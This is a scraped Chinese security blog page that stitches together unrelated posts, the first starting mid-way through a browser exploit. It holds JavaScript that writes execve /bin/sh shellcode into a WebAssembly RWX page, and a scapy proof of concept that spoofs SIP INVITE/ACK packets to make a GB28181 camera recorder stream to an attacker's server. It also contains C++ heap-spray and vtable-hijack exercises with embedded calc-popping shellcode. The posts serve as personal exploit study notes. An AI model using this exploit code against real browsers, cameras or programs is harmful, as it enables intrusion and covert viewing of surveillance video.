wasm_instance2_addr = addrOf(wasm_instance2);

wasm_instance2_rwx_page_addr = wasm_instance2_addr + 0x60n - 1n;
helper.printhex('rwx page addr @', wasm_instance2_rwx_page_addr);
// %SystemBreak();
wasm_instance2_rwx_page = arbRead(wasm_instance2_rwx_page_addr);
helper.printhex('rwx page @', wasm_instance2_rwx_page);

shellcode = [0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000008,
0x6e69622f, 0x0068732f, 0x89485756, 0x00050fe6];

for(let i=0; i<shellcode.length; i=i+2){
arbWrite(wasm_instance2_rwx_page +(BigInt(i) * 4n),helper.isetlhtoi(shellcode[i],shellcode[i+1]));
}

// dp(wasm_instance2);
// %SystemBreak();

f();

Untitled

参考

GB28181 的一点小问题

GB28181

GB28181 是视频监控领域的国家标准,规定了公共安全视频监控联网系统的互联结构, 传输、交换、控制的基本要求和安全性要求, 以及控制、传输流程和协议接口等技术要求。

目前大多数厂商的摄像头都支持这个协议,用户可以自己实现媒体服务器,使用这个协议从摄像头上拉流观看。

客户端拉流过程

见图

1

GB28181 协议会话通道用的是 SIP 协议,往下看需要一些 SIP 协议相关的知识。

带入到实际场景中,各个实体的身份 ⬇️:

  • 媒体流接收者:观众,客户端
  • SIP 服务器:信令服务器,和摄像头 NVR 设备交互,摄像头 NVR 在使用前需要发送 REGISTER 包注册到 SIP 服务器
  • 媒体服务器:接收推流的服务器,转发媒体流给观众
  • 媒体流发送者:摄像头 NVR

过程:

1、媒体流接收者向 SIP 服务器发送 Invite 消息,消息头域中携带 Subject 字段,表明点播的视频 源 ID、分辨率、媒体流接收者 ID、接收端媒体流序列号标识等参数,SDP 消息体中 s 字段为“Play” 代表实时点播;

2、SIP 服务器收到 Invite 请求后,通过三方呼叫控制建立媒体服务器和媒体流发送者之间的媒体连接。向媒体服务器发送 Invite 消息,此消息不携带 SDP 消息体;

3、媒体服务器收到 SIP 服务器的 Invite 请求后,回复 200OK 响应,携带 SDP 消息体,消息体中 描述了媒体服务器接收媒体流的 IP、端口、媒体格式等内容;

4、SIP 服务器收到媒体服务器返回的 200OK 响应后,向媒体流发送者发送 Invite 请求,请求中携 带消息 3 中媒体服务器回复的 200OK 响应消息体,并且修改 s 字段为“Play”代表实时点播,增 加 y 字段描述 SSRC 值,f 字段描述媒体参数;

5、媒体流发送者收到 SIP 服务器的 Invite 请求后,回复 200OK 响应,携带 SDP 消息体,消息体 中描述了媒体流发送者发送媒体流的 IP、端口、媒体格式、SSRC 字段等内容;

6、SIP 服务器收到媒体流发送者返回的 200OK 响应后,向媒体服务器发送 ACK 请求,请求中携 带消息 5 中媒体流发送者回复的 200OK 响应消息体,完成与媒体服务器的 Invite 会话建立过程;

7、SIP 服务器收到媒体流发送者返回的 200OK 响应后,向媒体流发送者发送 ACK 请求,请求中 不携带消息体,完成与媒体流发送者的 Invite 会话建立过程;

之后媒体流发送者推流到媒体服务器,媒体服务器在转发给接收者。

风险点

看上面的活动图,媒体流发送者在收到 SIP 服务器的 INVITE + ACK 包之后就开始推流,
BYE 包用于终止推流,其它实体和它并没有交互。

一般情况下,NVR 支持的 SIP 是基于 UDP 的,而 UDP 报文的源 IP 是可以伪造。假如流媒体发送者(即NVR)没有对接受的信令校验认证,攻击者只要知道 SIP 服务器的 IP 地址,就可以伪造 SIP 服务器的身份,向 NVR 发起推流请求 (INVITE + ACK 包),推流到任意的流媒体服务器。

如下

2

最终效果是绕过 SIP 服务器,直接看摄像头了。

scapy 写 POC 很容易

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from scapy.all import *

INVITE_PKG ='''INVITE sip:66612310001@192.168.1.2 SIP/2.0
Call-ID: 0a097798b89c7897982198abcde8291@192.168.1.1
CSeq: 2 INVITE
From: <sip:77779200001@6661200000>;tag=fromTag
To: <sip:66612310001@6661200000>
Via: SIP/2.0/UDP 192.168.1.2
Max-Forwards: 70
Contact: <sip:77779200001@192.168.1.1:5060>
Content-Type: Application/SDP
Content-Length: 248

v=0
o=77779200001 0 0 IN IP4 192.168.1.1
s=Play
u=66612310001:0
c=IN IP4 188.8.8.8
t=0 0
m=video 2021 RTP/AVP 96 98 97
a=recvonly
a=rtpmap:96 PS/90000
a=rtpmap:98 H264/90000
a=rtpmap:97 MPEG4/90000
y=0200000849

'''.replace('\n','\r\n')

sendp(Ether()/IP(dst='192.168.1.2',src='192.168.1.1')/UDP(dport=5060)/INVITE_PKG)

ACK_PKG = '''ACK sip:66612310001@192.168.1.2 SIP/2.0
Call-ID: 0a097798b89c7897982198abcde8291@192.168.1.1
CSeq: 2 ACK
From: <sip:77779200001@6661200000>;tag=fromTag
To: <sip:66612310001@6661200000>
Via: SIP/2.0/UDP 192.168.1.2
Max-Forwards: 70
Contact: <sip:77779200001@192.168.1.1:5060>
Content-Type: Application/SDP
Content-Length: 0

'''.replace('\n','\r\n')

sendp(Ether()/IP(dst='192.168.1.2',src='192.168.1.1')/UDP(dport=5060)/ACK_PKG)

目前国内要求运营商在接入网上进行源地址验证,所以公网上这种攻击可能不是那么容易成功,但总有些路由器设备配置会存在缺陷,还是可以伪造的,看运气了。

End

GB28181 中有提到关于 “SIP 信令认证”,在 SIP 服务器和媒体流发送者之间加入一个加密模块,每个 SIP 信令中加入额外的校验字段。在每一端接收到 SIP 信令后都要去和这个加密模块校验,校验通过的信令才会被处理。

3

前端设备: 联网系统中安装于监控现场的信息采集、编码/处理、存储、传输、安全控制等设备。 这里指 NVR。

这只是一个补充的部分,还没有看到有哪家监控厂商实现,因为需要有配套的 SIP 服务器,大客户才能定制吧。

如果对安全性要求比较高,可以考虑让 NVR 走安全隧道。

【RealPwn-2】 堆喷练习

[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。

堆喷

堆喷的利用,简单概括就是,申请大量内存,申请到 0x0C0C0C0C ,写入 slides + shellcode ,再控制 EIP 指向 0x0C0C0C0C 即可。

理论上这里的 0x0C0C0C0C 可以替换为别的,比如 0x900x0D 等不影响shellcode 执行的指令。

实际场景,常见的思路是覆盖对象的虚函数表指针 vptr,在 0x0C0C0C0C 伪造一个虚函数表,填满 0x0C0C0C0C + shellcode ,当调用对象的虚函数时,会取到 0x0C0C0C0C 作为函数的地址,跳回到 0x0C0C0C0C 的起始,把后面的数据当作指令执行,

v

为什么不用 0x90909090 (nop;nop;nop;nop;) ? 是因为 0x90909090 > 0x7fffffff 处在内核空间,程序跳到那会 crash。

调试

开始调吧,还是 VS2019 + x32dbg 。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <iostream>
#include <Windows.h>

#define ALLOC_SIZE 0x100000

using namespace std;

class A {
public:
virtual int pwn() {
return 1;
}
};

// 弹计算器
char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);

a_addr[0] = 0x0C0C0C0C; // 修改 vptr

sprintf_s(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf_s(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");

for(int i = 0; i < 0x100 ; i++) { // 模拟堆喷,申请大量内存,256 个 chunk
long* buf = (long*) malloc(ALLOC_SIZE); // 1MB

sprintf_s(msg, "chunk[%d] addr: 0x%p", i, buf);
cout << msg << endl;

if((long) buf == 0) break; // 内存不足 malloc 失败

memset(buf, 0x0c, ALLOC_SIZE - sizeof(shellcode)); // 填充 slides
if((long) buf + ALLOC_SIZE > 0x0c0c0c0c && (long) buf < 0x0c0c0c0c){ // 此处判断可以省略
memset(buf, 0x0c, ALLOC_SIZE - sizeof(shellcode)); // 填充 slides
memcpy(buf + (ALLOC_SIZE - sizeof(shellcode))/4, shellcode, sizeof(shellcode)); // 写 shellcode
system("pause");
break;
}
}

system("pause");

a->pwn(); // 调用虚函数

return 0;
}

运行程序

1

代码里直接把 vptr 已经修改成 0x0C0C0C0C ,模拟虚函数表劫持。

bp 0x0c0c0c0c 打上断点,继续。

2

3

这里模拟了堆喷的过程,申请到的 0x0C0C0C0Cchunk\[158\] 里。

可以看到在向堆申请空间时,地址是从小到大的,有一定随机性,且有概率申请不到 0x0C0C0C0C ,这可能也是二进制漏洞利用不如web漏洞利用稳定的原因之一。

4

5

现在已经 slides 和 shellcode 都写上去了。

继续,就到调用虚函数了,顺利的话就会弹出计算器。

注意,malloc 的内存默认只有 RW 权限,同 【RealPwn-1】 虚函数表劫持练习 一样,需要暂时关闭 DEP 才能执行 shellcode,实际场景中需要构造 ROP 链。

6

References

【RealPwn-1】 虚函数表劫持练习

[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。

虚函数表

C++ 里,为了实现 “多态” ,使用了虚函数表 (vtable)。

每个含有虚函数的类的对象,在内存的起始处有一个 vptr 的指针,指向虚函数表。

虚函数表存了类里所有虚函数的指针。调用函数时,在这个虚函数表里查找实际要调用的函数。

借用网上的一张图

vft.png

特性

总结下虚函数表的特性:

  1. 虚函数表在 .data 段,仅可读,无法修改

  2. 虚函数表类似一个数组,每个有虚函数的类的对象实例都存储指向虚函数表的指针。

  3. 虚函数表指针 vptr 一般在对象起始的 4 字节(32 位) 或 8 字节(64 位),多重继承时有可能存在多个虚函数表,

调试

下面调试一下,环境 VS2019 + x32dbg:

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <iostream>
#include <Windows.h>

using namespace std;

class A {
public :
virtual int hijackme() {
return 1;
}
};

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);

sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");
return 0;
}

image-20210702163648268

x32dbg 里看内存

image-20210702163707394

0x014FD028 是 vptr ,指向虚函数表。

image-20210702163900420

0xB131EC 是虚函数表,所在内存是只读的无法修改,它指向的是函数实际的地址,无法修改虚表中函数的地址。

image-20210702164047943

对象是在堆上的,它的内存是 RW 可读可写的,常见的攻击思路是修改对象的虚函数表指针 vptr ,即 0x014FD028 中的数据。

image-20210702164627019

试验一下。

要在内存中伪造出一个虚表,将对象的虚表指针指向它。

修改代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <iostream>
#include <Windows.h>

using namespace std;

class A {
public :
virtual int hijackme() {
return 1;
}
};

// 弹计算器
char shellcode[0x1000] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr );

sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");

char fake_vtable[4]; //伪造一个虚表
long shellcode_addr = (long)((long*) (shellcode));
memcpy(fake_vtable, &shellcode_addr ,4); //虚表指向shellcode

sprintf(msg, "fake_vtable address: 0x%p", &fake_vtable);
cout << msg << endl;

sprintf(msg, "shellcode address: 0x%p", (long*) shellcode);
cout << msg << endl;

system("pause");

long fake_vtable_addr = (long) ( (long*) fake_vtable );
memcpy(tmp, &fake_vtable_addr, 4); // 修改对象虚表指针,指向伪造的虚表

system("pause");

a->hijackme();

return 0;
}

重新执行

image-20210702175254591

0x00DCFE44 处构造一个虚表,只要一个项,指向 0x00535020

image-20210702174543785

0x00535020 是 shellcode

image-20210702174636492

这里涉及到一个问题,shellcode 是在 .data 段不可执行的,一般来说需要构造 ROP 链,给 shellcode 所在内存加上执行权限。这里略过这个问题,暂时先关掉 DEP(属性 —> 链接器 —> 高级)。

image-20210702173559882

应该就可以执行 shellcode 了。

vtable-hijacking

References

C++虚函数调用攻防战

|